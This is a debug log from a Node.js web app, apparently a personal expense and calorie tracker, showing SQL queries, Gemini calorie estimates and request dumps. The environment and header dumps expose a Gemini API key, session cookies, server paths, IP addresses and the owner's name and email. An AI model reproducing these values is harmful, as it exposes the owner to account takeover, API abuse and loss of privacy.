      "WHERE ct.intake_date >= DATE_FORMAT(CURDATE(), '%Y-%m-01')\n" +
      "  AND ct.intake_date <  DATE_ADD(DATE_FORMAT(CURDATE(), '%Y-%m-01'), INTERVAL 1 MONTH)\n" +
      'GROUP BY ct.intake_date\n' +
      'ORDER BY ct.intake_date;',
    params: []
  }
}
2025-12-14T07:59:24.416Z server-connect:output monthly_chart: [
  {
    intake_date: 2025-11-30T18:30:00.000Z,
    total_consumed: '1890',
    surplus_or_deficit: '510',
    status_flag: 1
  },
  {
    intake_date: 2025-12-01T18:30:00.000Z,
    total_consumed: '1094',
    surplus_or_deficit: '1306',
    status_flag: 2
  },
  {
    intake_date: 2025-12-02T18:30:00.000Z,
    total_consumed: '1923',
    surplus_or_deficit: '477',
    status_flag: 1
  },
  {
    intake_date: 2025-12-03T18:30:00.000Z,
    total_consumed: '1851',
    surplus_or_deficit: '549',
    status_flag: 1
  },
  {
    intake_date: 2025-12-04T18:30:00.000Z,
    total_consumed: '2435',
    surplus_or_deficit: '-35',
    status_flag: 0
  },
  {
    intake_date: 2025-12-05T18:30:00.000Z,
    total_consumed: '1055',
    surplus_or_deficit: '1345',
    status_flag: 2
  },
  {
    intake_date: 2025-12-07T18:30:00.000Z,
    total_consumed: '2303',
    surplus_or_deficit: '97',
    status_flag: 1
  },
  {
    intake_date: 2025-12-08T18:30:00.000Z,
    total_consumed: '1571',
    surplus_or_deficit: '829',
    status_flag: 2
  },
  {
    intake_date: 2025-12-09T18:30:00.000Z,
    total_consumed: '1297',
    surplus_or_deficit: '1103',
    status_flag: 2
  },
  {
    intake_date: 2025-12-12T18:30:00.000Z,
    total_consumed: '1882',
    surplus_or_deficit: '518',
    status_flag: 1
  }
]
2025-12-14T08:00:15.859Z server-connect:router Serving serverConnect /api/gemini/calculate-calorie
2025-12-14T08:00:15.860Z server-connect:app Executing action step identify
2025-12-14T08:00:15.860Z server-connect:app options: { provider: 'security' }
2025-12-14T08:00:15.860Z server-connect:output identity: 1
2025-12-14T08:00:15.860Z server-connect:app Executing action step restrict
2025-12-14T08:00:15.860Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-14T08:00:15.860Z server-connect:output restrict: undefined
2025-12-14T08:00:15.861Z server-connect:app Executing action step processWithGemini
2025-12-14T08:00:15.861Z server-connect:app options: { request_type: 'calories', raw_text: '{{$_POST.calorie_query}}' }
2025-12-14T08:00:28.687Z server-connect:router Serving templateView /
2025-12-14T08:00:28.687Z server-connect:app Executing action step identify
2025-12-14T08:00:28.687Z server-connect:app options: { provider: 'security' }
2025-12-14T08:00:28.687Z server-connect:auth No login cookie found
2025-12-14T08:00:28.687Z server-connect:output identity: false
2025-12-14T08:00:28.687Z server-connect:app Executing action step restrict
2025-12-14T08:00:28.687Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-14T08:00:28.688Z server-connect:output restrict: undefined
2025-12-14T08:00:28.863Z server-connect:router Serving templateView /login
2025-12-14T08:00:28.864Z server-connect:app Executing action step identify
2025-12-14T08:00:28.864Z server-connect:app options: { provider: 'security' }
2025-12-14T08:00:28.864Z server-connect:auth No login cookie found
2025-12-14T08:00:28.864Z server-connect:output identity: false
2025-12-14T08:00:28.864Z server-connect:router Render template layouts/authentication
2025-12-14T08:00:28.864Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (compatible; CMS-Checker/1.0; +https://example.com)',
    referer: 'http://www.ems.sanjaychaurasia.xyz',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '34.67.167.238',
    connection: 'keep-alive',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-15T08:00:28.863Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: false,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '34.67.167.238',
    REQUEST_PROTOCOL: 'http',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'http://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (compatible; CMS-Checker/1.0; +https://example.com)',
    HTTP_REFERER: 'http://www.ems.sanjaychaurasia.xyz',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '34.67.167.238',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz'
  },
  identity: false,
  content: '/login'
}
2025-12-14T08:00:29.002Z server-connect:output calculate_calorie: {
  items: [
    {
      food_name: 'Salted Fries',
      quantity: 'Few pieces (approx 70g)',
      total_calories: 210,
      protein: 2.8,
      carbs: 28,
      fat: 10.5,
      lower_calorie_alternatives: [Array],
      skip_level: 3,
      skip_reason: 'Deep-fried, high in unhealthy fats and refined carbohydrates. It offers minimal protein and micronutrients, contributing to empty calories which is counterproductive for muscle development and fat loss.'
    },
    {
      food_name: 'Ginger Ale',
      quantity: 'Half (approx 165ml, based on a standard 330ml can)',
      total_calories: 66,
      protein: 0,
      carbs: 16.5,
      fat: 0,
      lower_calorie_alternatives: [Array],
      skip_level: 3,
      skip_reason: 'High in added sugars and offers empty calories with no nutritional value (protein, fiber, vitamins) for muscle growth or overall health. Leads to unnecessary blood sugar spikes.'
    },
    {
      food_name: 'Paneer Pakoda',
      quantity: '1 piece (approx 40g)',
      total_calories: 128,
      protein: 4.8,
      carbs: 8.8,
      fat: 8.8,
      lower_calorie_alternatives: [Array],
      skip_level: 2,
      skip_reason: 'While paneer provides protein, this item is deep-fried, leading to high unhealthy fat and calorie content from the frying oil and besan (gram flour) batter. Healthier, non-fried forms of paneer are much more beneficial for muscle development.'
    }
  ],
  total_macros_summary: {
    total_calories: 404,
    total_protein: 7.6,
    total_carbs: 53.3,
    total_fat: 19.3,
    unit: 'g'
  }
}
2025-12-14T08:01:14.770Z server-connect:router Serving serverConnect /api/health/manage-calories
2025-12-14T08:01:14.770Z server-connect:app Executing action step identify
2025-12-14T08:01:14.770Z server-connect:app options: { provider: 'security' }
2025-12-14T08:01:14.770Z server-connect:output identity: 1
2025-12-14T08:01:14.770Z server-connect:app Executing action step restrict
2025-12-14T08:01:14.770Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-14T08:01:14.772Z server-connect:output restrict: undefined
2025-12-14T08:01:14.772Z server-connect:app Executing action step condition
2025-12-14T08:01:14.772Z server-connect:app options: {
  if: '{{$_POST.items.length}}',
  then: {
    steps: {
      name: 'repeat',
      module: 'core',
      action: 'repeat',
      options: [Object],
      output: true,
      meta: [Array],
      outputType: 'array'
    }
  }
}
2025-12-14T08:01:14.772Z server-connect:app Executing action step repeat
2025-12-14T08:01:14.772Z server-connect:app options: {
  repeat: '{{$_POST.items}}',
  outputFields: [],
  exec: {
    steps: {
      name: 'calories',
      module: 'dbupdater',
      action: 'insert',
      options: [Object],
      meta: [Array]
    }
  }
}
2025-12-14T08:01:14.772Z server-connect:app Executing action step insert
2025-12-14T08:01:14.772Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    table: 'calories_tracking',
    returning: 'id',
    query: 'insert into `calories_tracking` (`calories`, `carbs_gm`, `created_at`, `fat_gm`, `intake_date`, `item_name`, `protein_gm`, `quantity`, `replacements`, `skip_level`, `skip_reason`) values (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2025-12-14T08:01:14.774Z server-connect:output calories: { affected: 1, identity: 387 }
2025-12-14T08:01:14.774Z server-connect:app Executing action step insert
2025-12-14T08:01:14.774Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    table: 'calories_tracking',
    returning: 'id',
    query: 'insert into `calories_tracking` (`calories`, `carbs_gm`, `created_at`, `fat_gm`, `intake_date`, `item_name`, `protein_gm`, `quantity`, `replacements`, `skip_level`, `skip_reason`) values (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2025-12-14T08:01:14.774Z server-connect:output calories: { affected: 1, identity: 388 }
2025-12-14T08:01:14.775Z server-connect:app Executing action step insert
2025-12-14T08:01:14.775Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    table: 'calories_tracking',
    returning: 'id',
    query: 'insert into `calories_tracking` (`calories`, `carbs_gm`, `created_at`, `fat_gm`, `intake_date`, `item_name`, `protein_gm`, `quantity`, `replacements`, `skip_level`, `skip_reason`) values (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2025-12-14T08:01:14.775Z server-connect:output calories: { affected: 1, identity: 389 }
2025-12-14T08:01:14.775Z server-connect:output repeat: [ {}, {}, {} ]
2025-12-14T08:01:14.775Z server-connect:output condition: undefined
2025-12-14T08:01:15.087Z server-connect:router Serving templateView /calorie-tracker
2025-12-14T08:01:15.087Z server-connect:app Executing action step identify
2025-12-14T08:01:15.087Z server-connect:app options: { provider: 'security' }
2025-12-14T08:01:15.087Z server-connect:output identity: 1
2025-12-14T08:01:15.087Z server-connect:app Executing action step restrict
2025-12-14T08:01:15.087Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-14T08:01:15.088Z server-connect:output restrict: undefined
2025-12-14T08:01:15.088Z server-connect:router Render template layouts/main
2025-12-14T08:01:15.088Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'cache-control': 'max-age=0',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?1',
    'sec-ch-ua-platform': '"Android"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    referer: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"12b52-0d2A05mHiBW1SmaE1c2HqCHEd/k"',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3At5nGNqr3SVo%2FChwQooerSQ%3D%3D.eMRt48dC32ChQ5AKz2SpilFlEW6qSdW6sTUviYnBEaFo9tg%2F8p%2FfUgy2wiqyp3GN4lkunUniMDO3XYSgrzjl7O8UgrZn%2FUdr9U3Jc15J%2FMlJztnVsWWM917Wf%2B3%2FXHnzU%2B%2FUIWOAsXLSnFQtsq%2Bbd%2FpHxomDiTMeRY9rtdu7BjM%3D.jCt8VSI6frs%2BTkpYuvLj3R0ceQAlOs%2FpeFZ%2B37%2FWb8E; your_r_git.sid=s%3A34xWocA8KQN9MG_Ugw-4Z0qTJtNAYPX5.LZNhHT90Le%2F7JhK8W0Mil3d9LmxXXo1sdraq0yvhjjA',
    'x-forwarded-for': '157.48.246.94',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-15T07:59:07.603Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/calorie-tracker',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '157.48.246.94',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/calorie-tracker',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"12b52-0d2A05mHiBW1SmaE1c2HqCHEd/k"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3At5nGNqr3SVo%2FChwQooerSQ%3D%3D.eMRt48dC32ChQ5AKz2SpilFlEW6qSdW6sTUviYnBEaFo9tg%2F8p%2FfUgy2wiqyp3GN4lkunUniMDO3XYSgrzjl7O8UgrZn%2FUdr9U3Jc15J%2FMlJztnVsWWM917Wf%2B3%2FXHnzU%2B%2FUIWOAsXLSnFQtsq%2Bbd%2FpHxomDiTMeRY9rtdu7BjM%3D.jCt8VSI6frs%2BTkpYuvLj3R0ceQAlOs%2FpeFZ%2B37%2FWb8E; your_r_git.sid=s%3A34xWocA8KQN9MG_Ugw-4Z0qTJtNAYPX5.LZNhHT90Le%2F7JhK8W0Mil3d9LmxXXo1sdraq0yvhjjA',
    'HTTP_X_FORWARDED-FOR': '157.48.246.94',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/calorie-tracker'
}
2025-12-14T08:01:15.622Z server-connect:router Serving serverConnect /api/masters/get-items
2025-12-14T08:01:15.622Z server-connect:app Executing action step identify
2025-12-14T08:01:15.622Z server-connect:app options: { provider: 'security' }
2025-12-14T08:01:15.622Z server-connect:output identity: 1
2025-12-14T08:01:15.622Z server-connect:app Executing action step restrict
2025-12-14T08:01:15.622Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-14T08:01:15.623Z server-connect:output restrict: undefined
2025-12-14T08:01:15.623Z server-connect:app Executing action step select
2025-12-14T08:01:15.623Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2025-12-14T08:01:15.627Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2025-12-14T08:01:15.631Z server-connect:router Serving serverConnect /api/access-control/user-info
2025-12-14T08:01:15.632Z server-connect:router Serving serverConnect /api/health/todays-calories
2025-12-14T08:01:15.632Z server-connect:app Executing action step identify
2025-12-14T08:01:15.632Z server-connect:app options: { provider: 'security' }
2025-12-14T08:01:15.632Z server-connect:output identity: 1
2025-12-14T08:01:15.632Z server-connect:app Executing action step restrict
2025-12-14T08:01:15.632Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-14T08:01:15.632Z server-connect:app Executing action step identify
2025-12-14T08:01:15.632Z server-connect:app options: { provider: 'security' }
2025-12-14T08:01:15.632Z server-connect:output identity: 1
2025-12-14T08:01:15.632Z server-connect:app Executing action step restrict
2025-12-14T08:01:15.632Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-14T08:01:15.633Z server-connect:output restrict: undefined
2025-12-14T08:01:15.633Z server-connect:app Executing action step single
2025-12-14T08:01:15.633Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2025-12-14T08:01:15.634Z server-connect:output restrict: undefined
2025-12-14T08:01:15.634Z server-connect:app Executing action step single
2025-12-14T08:01:15.634Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object] ],
    table: { name: 'calories_requirement' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `start_date`, `end_date`, `maintenance_calories`, `weight_kg`, `target_calories` from `calories_requirement` where `calories_requirement`.`start_date` <= ? and `calories_requirement`.`end_date` >= ?'
  }
}
2025-12-14T08:01:15.634Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
